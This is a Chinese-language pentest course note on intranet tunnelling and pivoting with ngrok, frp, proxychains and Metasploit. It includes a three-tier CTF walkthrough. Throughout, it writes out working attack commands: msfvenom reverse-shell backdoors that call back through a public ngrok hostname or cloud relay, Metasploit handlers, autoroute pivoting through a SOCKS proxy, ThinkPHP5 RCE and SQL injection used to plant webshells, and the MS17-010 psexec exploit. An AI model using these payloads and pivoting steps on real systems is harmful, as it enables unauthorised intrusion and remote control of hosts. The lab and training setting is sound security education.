思維導圖
必要基礎知識點:
1.內外網簡單知識
- 內網ip地址是私有ip地址(10/8, 172.16/12 , 192.168/16),除此之外就是外網ip。
2.內網1和內網2通信問題
- 兩個不同的內網的主機想要通過CS或者MSF等工具實現控制或者通訊是不可能的,必須要借助代理。
3.正反向協議通信連接問題
- 正向:控制端主動去連接被控端
- 反向:被控端主動去連接控制端
- 為什么要區分正向和反向?--因為如果控制端是外網主機,被控端是內網主機,就相當於控制端有一個唯一的IP地址(比如103.12.4.11),通過這個IP地址就可以找到控制端,而在內網的被控端(比如192.168.23.36),你通過控制端主動去找是找不到的,因為這個內網IP地址並不是唯一的,可能很多內網都用了這個IP地址,你根本沒法找。此時就需要反向連接了,讓內網的被控端主動去找外網的控制端。
4.內網穿透代理隧道技術說明
- 隧道主要解決流量分析工具、流量監控工具、防火牆等相關工具的過濾問題
- 代理主要解決網絡的連通性問題
本課主要講解內網滲透-橫向滲透-穿透-代理相關知識點:
- 代理技術主要解決3種問題:內網有外網,內網有過濾(防火牆),內網無外網(單純主機服務器,無網絡)
- 代理主要分為:正向代理和反向代理(以下案例均有涉及)
- 代理相關工具:nps、frp、ngrok、reGeorg、sockscap65、earthworm、proxifier、proxychains
- 案例涉及工具:frp、ngrok、sockscap65、proxifier、proxychains
- nps、reGeorg工具:案例未涉及,可自行學習
- EarthWorm(簡稱EW):已永久停止更新,本課不再講解。
本課重點:
- 案例1:內網穿透Ngrok測試演示-兩個內網通訊上線
- 案例2:內網穿透Frp自建跳板測試-兩個內網通訊上線
- 案例3:CFS三層內網漫游安全測試演練-某CTF線下2019
案例1:內網穿透Ngrok測試演示-兩個內網通訊上線
實驗環境:兩個不同的內網(有網絡)實現穿透控制
1.注冊-購買-填寫-確認 國外地址:https://ngrok.com/ 國內地址:https://www.ngrok.cc/ 國外的比較卡慢,用國內的就行 協議:http 本地端口:192.168.76.132:4444 2.測試:內網1執行后門-免費主機處理-內網2監聽-內網2接受器 啟動ngrok客戶端 ./sunny clientid <隧道id> 在kali下生成后門(因為選擇的是http協議,所以這里是reverse_http),並把后門test.exe復制到windows7 msfvenom -p windows/meterpreter/reverse_http lhost=xiaodisec.free.idcfengye.com lport=80 -f exe -o test.exe 配置並監聽(一旦xiaodisec.free.idcfengye.com有流量,就發給本地192.168.76.132:4444) msfconsole use exploit/multi/handler set payload windows/meterpreter/reverse_http set lhost 192.168.76.132 set lport 4444 exploit
案例演示
<1>注冊,登錄
<2>點擊ngrok客戶端下載
<3>根據操作系統版本選擇對應的客戶端下載(我們用的kali作為內網肉雞,下載的就是linux版本)
<4>開通隧道(僅做測試用,使用免費的即可,免費的不穩定容易斷,實戰中建議使用收費版)
<5>本地端口配置的是內網肉雞kali的IP:Port
<6>開兩台虛擬機模擬內外網,其中kali模擬內網肉雞,windows7模擬外網主機(后面幾步用msf生成后門,再用另一台電腦來執行這個后門,兩台電腦實現互聯)
<7>將ngrok客戶端傳到內網肉雞 kali上,解壓縮
<8>啟動
<9>隧道狀態變為online
<10>生成后門
<11>把后門test.exe復制到windows7
<12>配置並監聽(一旦xiaodisec.free.idcfengye.com有流量,就發給本地192.168.76.132:4444)
msfconsole use exploit/multi/handler set payload windows/meterpreter/reverse_http set lhost 192.168.76.132 set lport 4444 exploit
<13>在windows7上雙擊啟動后門test.exe
<14>kali上監聽到會話,ngrok客戶端監聽到流量
案例2-內網穿透Frp自建跳板測試-兩個內網通訊上線
FRP說明文檔:https://gofrp.org/docs/
Frp工具:開源免費,自行搭建,方便修改,成本低,使用多樣化,防止隱私泄露。而Ngrok工具使用的是別人的服務器,容易泄露隱私數據。
1.服務端-下載-解壓-修改-啟動(阿里雲主機記得修改安全組配置出入口) FRP下載地址:https://github.com/fatedier/frp/releases 服務器修改配置文件frps.ini: [common] bind_port = 6677 啟動服務端: ./frps -c ./frps.ini 2.控制端-下載-解壓-修改-啟動 控制端修改配置文件frpc.ini: [common] server_addr = 你的雲主機ip server_port = 6677 #frpc工作端口,必須和上面frps保持一致 [msf] type = tcp local_ip = 127.0.0.1 local_port = 5555 #轉發給本機的5555 remote_port = 6000 #服務端用6000端口轉發給本機 啟動客戶端(kali): ./frpc -c ./frpc.ini 生成后門: msfvenom -p windows/meterpreter/reverse_tcp lhost=你的公網ip lport=6000 -f exe -o frp.exe use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 127.0.0.1 set LPORT 5555 exploit 3.靶機運行frp即可
案例演示
1.服務端-下載-解壓-修改-啟動(阿里雲主機記得修改安全組配置出入口)
服務器修改配置文件frps.ini: [common] bind_port = 6677 啟動服務端: ./frps -c ./frps.ini
2.控制端-下載-解壓-修改-啟動
<1>控制端修改配置文件frpc.ini
[common] server_addr = 你的雲主機ip server_port = 6677 #frpc工作端口,必須和上面frps保持一致 [msf] type = tcp local_ip = 127.0.0.1 local_port = 5555 #轉發給本機的5555 remote_port = 6000 #服務端用6000端口轉發給本機
<2>啟動客戶端(kali)
./frpc -c ./frpc.ini
此時服務端收到端口連接
<3>生成后門
msfvenom -p windows/meterpreter/reverse_tcp lhost=你的公網ip lport=6000 -f exe -o frp.exe
<4>配置監聽
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 127.0.0.1 set LPORT 5555 exploit
3.將后門文件拷貝到靶機,運行。如上圖所示,監聽到會話。
案例3:CFS三層內網漫游安全測試演練-某CTF線下2019
來源2019某CTF線下賽真題內網結合WEB攻防題庫,涉及WEB攻擊,內網代理路由等技術,每台服務器存在一個Flag,獲取每一個Flag對應一個積分,獲取三個Flag結尾。
Target1(centos7 x64): 探針目標-利用WEB漏洞(TP5_RCE)-獲取webshell權限-獲取Flag-Target2 1.生成后門: msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.76.132 LPORT=1111 -f elf >t1.elf 2.接受反彈: msfconsole use exploit/multi/handler set payload linux/x64/meterpreter/reverse_tcp set LHOST 192.168.76.132 set LPORT 1111 exploit 3.信息收集及配置訪問 獲取網絡接口:run get_local_subnets 查看路由地址:run autoroute -p 添加路由地址:run autoroute -s 192.168.22.0/24 開啟本地代理: use auxiliary/server/socks4a set srvport 2222 exploit 4.利用本地代理接口訪問測試 設置瀏覽器代理進行訪問測試 linux: 配置proxychains(代理工具)后調用工具探針Target2 /etc/proxychains.conf socks4 192.168.76.132 2222(在配置文件中添加) proxychains4 nmap -sT -Pn 192.168.22.0/24 -p80 -Pn:掃描主機檢測其是否受到數據包過濾軟件或防火牆的保護。 -sT:掃描TCP數據包已建立的連接connect windows: 利用代理工具Proxifier或SocksCap64載入代理進行進程訪問測試 Target2(ubuntu x64): 探針目標-利用WEB漏洞(SQL注入)-后台獲取webshell權限-獲取Flag-Target3 http://192.168.22.128/index.php?r=vul&keyword=1 #sql注入 http://192.168.22.128/index.php?r=admini/public/login #后台 http://192.168.22.128/index.php?r=special #后門shell 1.生成正向后門: msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=3333 -f elf > t2.elf 2.訪問接受: use exploit/multi/handler set payload linux/x64/meterpreter/bind_tcp set rhost 192.168.22.128 set LPORT 3333 exploit 3.信息收集及配置訪問 獲取網絡接口:run get_local_subnets 查看路由地址:run autoroute -p 添加路由地址:run autoroute -s 192.168.33.0/24 Target3:(windows7 x64) 探針目標-端口及漏洞掃描-利用MS17010獲取系統權限-獲取Flag-GG proxychains4 nmap -Pn -sT 192.168.33.33 use exploit/windows/smb/ms17_010_psexec set payload windows/meterpreter/bind_tcp set RHOST 192.168.33.33 exploit shell dir /S flag.txt /B type xxxxx.txt
案例演示
環境准備
Target1(centos7 x64):
探針目標-利用WEB漏洞(TP5_RCE)-獲取webshell權限-獲取Flag-Target2
<1>探針目標,發現target1上面部署了thinkphp v5
<2>驗證是否存在遠程命令執行漏洞,結果存在。
<3>利用漏洞,可以直接執行命令
<4>通過命令可以直接寫入后門
<5>瀏覽器查看一下,寫入成功
<6>蟻劍連接,拿到第1個flag。
連接上去之后,可以用它當做跳板,但是蟻劍比較麻煩,此時可以改用CS神器或者MSF,因為使用CS或者MSF時,即使權限不夠,我們也可以進行一些操作。
<7>接下來我們開始滲透Target2。kali直接與target2連接是連不上的。因為kali網段是76,target2網段是22,二者不在同一個網段,無法互聯,但是target1網段是76和22,target1既跟kali同一網段,又跟target2同一網段,因此,我們可以將target1作為跳板,實現kali和target2的互聯。
<8>生成后門(kali上):
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.76.132 LPORT=1111 -f elf >t1.elf
<9>設置監聽,准備接受反彈(kali上):
msfconsole use exploit/multi/handler set payload linux/x64/meterpreter/reverse_tcp set LHOST 192.168.76.132 set LPORT 1111 exploit
<10>將生成的后門通過蟻劍webshell上傳到target1主機,執行后門。
<11>此時kali上接收到會話,getuid可以查看會話權限。
<12>信息收集及配置訪問。
由於測試環境是我們自己准備的,所以我們知道target2主機的網段及IP地址。但是在實戰中,我們應該是未知的,因此我們需要首先進行信息收集,以獲得目標target2的相關信息,為進一步的滲透做准備。
首先,獲取網絡接口:run get_local_subnets ,由結果我們得知,target1存在兩個網絡接口,一個76,一個22,76與kali同一網段,是連接外網的,那22就是連接內網(局域網)的。
然后,查看路由地址:run autoroute -p ,發現當前的路由地址是空的
接着,我們就要添加路由地址:run autoroute -s 192.168.22.0/24
最后,再查看一下路由地址,確認添加成功。
添加路由地址成功,說明在剛才反彈的session1會話上,我們添加了一個22網段的網絡接口。此時我們就可以通過這個路由跟22網段進行通訊了。雖然能夠通訊了,但是我們的目標是攻擊target2,要攻擊就需要使用到工具,由於路由是寫到了maf建立的會話上面,有些工具沒法用。此時我們就需要開一個代理,開這個代理就相當於開一個接口給其他人用。
<13>開啟本地代理
use auxiliary/server/socks4a set srvport 2222 exploit
<14>利用本地代理接口訪問測試
首先,kali上配置proxychains(代理工具),修改/etc/proxychains.conf配置文件
socks4 192.168.76.132 2222(在配置文件中添加)
然后,調用工具探針Target2,掃描結果發現,80端口開放。
proxychains4 nmap -sT -Pn 192.168.22.0/24 -p80 -Pn:掃描主機檢測其是否受到數據包過濾軟件或防火牆的保護。 -sT:掃描TCP數據包已建立的連接connect
接着,瀏覽器修改代理配置
最后,此時kali上我們就可以正常訪問target2上的服務了(以前是無法連接狀態)
Target2(ubuntu x64):
探針目標-利用WEB漏洞(SQL注入)-后台獲取webshell權限-獲取Flag-Target3
<1>探針目標,利用SQL注入,拿到后台密碼,登錄后台。
http://192.168.22.128/index.php?r=vul&keyword=1 #sql注入 http://192.168.22.128/index.php?r=admini/public/login #后台 http://192.168.22.128/index.php?r=special #后門shell
首先探針目標,在源碼中直接找到線索,target2上的CMS服務存在SQL注入漏洞。
然后,通過sqlmap掃描注入點找到用戶名密碼。
接着,通過robots.txt文件找到了后台地址。\
最后,使用用戶名密碼登錄后台。
登錄成功,拿到第2個flag。
<2>通過后台模板功能,寫入后門。
<3>配置蟻劍代理,測試連接,保存連接,訪問,拿到webshell。
以上是kali linux的代理訪問設置,如果攻擊機是windows的話,還可以利用代理工具Proxifier或SocksCap64載入代理進行遠程訪問測試。
Proxifier全局代理:
SocksCap64代理:
首先,點擊代理,配置代理地址、端口和代理類型。
然后,點擊程序,選擇需要使用該代理的程序。(比如某些程序本身沒有代理配置,此時就可以與SocksCap64配合使用代理)
最后,右擊添加的程序,選擇"在代理隧道中運行選中程序"。
<4>生成正向后門
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=3333 -f elf > t2.elf
<5>訪問接收
use exploit/multi/handler set payload linux/x64/meterpreter/bind_tcp set rhost 192.168.22.128 set LPORT 3333 exploit
<6>將后門通過webshell上傳,執行
<7>接收到會話
<8>信息收集及配置訪問
獲取網絡接口:run get_local_subnets 查看路由地址:run autoroute -p 添加路由地址:run autoroute -s 192.168.33.0/24
接下來對3333端口進行攻擊,由於目標主機是windows系統,我們以前講過很多攻擊工具,比如,namp --script=all、namp --script=vuln、nessus等。
Target3:(windows7 x64)
探針目標-端口及漏洞掃描-利用MS17010獲取系統權限-獲取Flag-GG
<1>探針目標,發現開放了445和3389端口,且存在MS17010漏洞。
proxychains4 nmap -Pn -sT 192.168.33.33
<2>利用MS17010獲取系統權限
use exploit/windows/smb/ms17_010_psexec set payload windows/meterpreter/bind_tcp set RHOST 192.168.33.33 exploit
<3>監聽到會話,得到system權限。
<4>搜索關鍵字,得到第3個flag。
shell dir /S flag.txt /B type xxxxx.txt